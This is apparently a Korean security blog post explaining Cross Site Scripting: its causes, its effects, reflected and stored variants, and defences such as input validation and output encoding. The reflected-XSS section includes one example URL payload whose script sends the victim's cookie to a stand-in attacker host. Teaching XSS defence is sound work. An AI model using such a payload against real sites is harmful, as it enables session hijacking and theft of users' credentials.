Ye0ngJae

[웹] Cross Site Scripting(XSS)에 대하여 알아보자 본문

정보보안/웹

[웹] Cross Site Scripting(XSS)에 대하여 알아보자

Ye0ngJae 2021. 11. 11. 23:46
728x90

Cross Site Scripting(XSS)

공격자가 자신이 만든 태그들을 피해자의 브라우저에서 실행시키는 것을 말합니다. 공격자가 만든 악성 스크립트에 따라 피해자는 쿠키가 변조될 수도 있고, 공격자가 만든 악성 사이트로 리다이렉트 될 수 있습니다. 

 

XSS 취약점 발생 원인

서버가 클라이언트로부터 검증되지 않은 데이터를 받아들여 웹 브라우저에서 실행하는 경우에 발생합니다.

즉, XSS는 웹 어플리케이션에 클라이언트로부터의 악의적인 데이터를 받아들일 때 발생한다고 할 수 있습니다. 

 

XSS 취약점 공격 영향

- 쿠키 변조, 탈취

- 악성코드 주소 삽입

- 페이지 변조

- 제한된 웹 사이트 접근

 

등 웹 브라우저에서 스크립트로 실행 가능한 공격이 가능합니다. 

 

 

XSS 공격 종류

Reflected XSS

Reflected XSS는 피해자가 공격자로부터 악성 URL을 전달받아 실행함으로써 발생합니다. Reflected XSS는 주로 URL 파라미터(GET방식)에 스크립트를 삽입하여 실행하는 방식입니다. 예를 들어 http://www.server.com/service/?text=<script>location.href("http://hack/xss.php?value="+document.cookie);</script>와 같이 URL 뒤에 공격자의 사이트로 자신의 쿠키를 보내는 스크립트를 삽입하면 피해자는 자신의 의지와 상관없이 자신의 쿠키를 공격자에게 전송하게 됩니다. 

 

 

Stored XSS

Reflected XSS와 달리 Stored XSS는 공격자가 악성 스크립트가 포함된 게시글을 게시판 같은 곳에 게시한 후 피해자가 이 게시글을 조회하면서 발생하는 XSS입니다. 즉, 피해자가 공격자의 악성 스크립트가 포함된 게시글을 조회하면 악성 스크립트가 실행되면서 피해자는 공격자의 악성 스크립트에 따라 피해를 받게 됩니다.

 

대응방안

- 입력값 검증

XSS는 서버가 클라이언트로부터 검증되지 않은 데이터를 받아들여 발생하는 것이기 때문에 클라이언트로부터 서버로 전달되기 전에 입력 데이터의 길이, 지정된 문자나 형식을 벗어난 형식으로 입력되었는지를 확인하여 서버로 전달해야 합니다.

 

- 출력 값 검증

Stored XSS와 같이 악성 스크립트가 포함되어 있는지 모르는 게시글을 피해자가 조회하여 XSS가 발생하는 경우 서버에서 클라이언트로 전달하기 전, XSS를 유발할 수 있는 꺽쇠나 따옴표 같은 문자를 인코딩하여 전달해야 합니다.

 

- X-javascript 사용

javascript 등 스크립트 실행에 필요한 문자열을 x-javascript와 같이 대체하여 스크립트 실행을 무효화해야 합니다.

728x90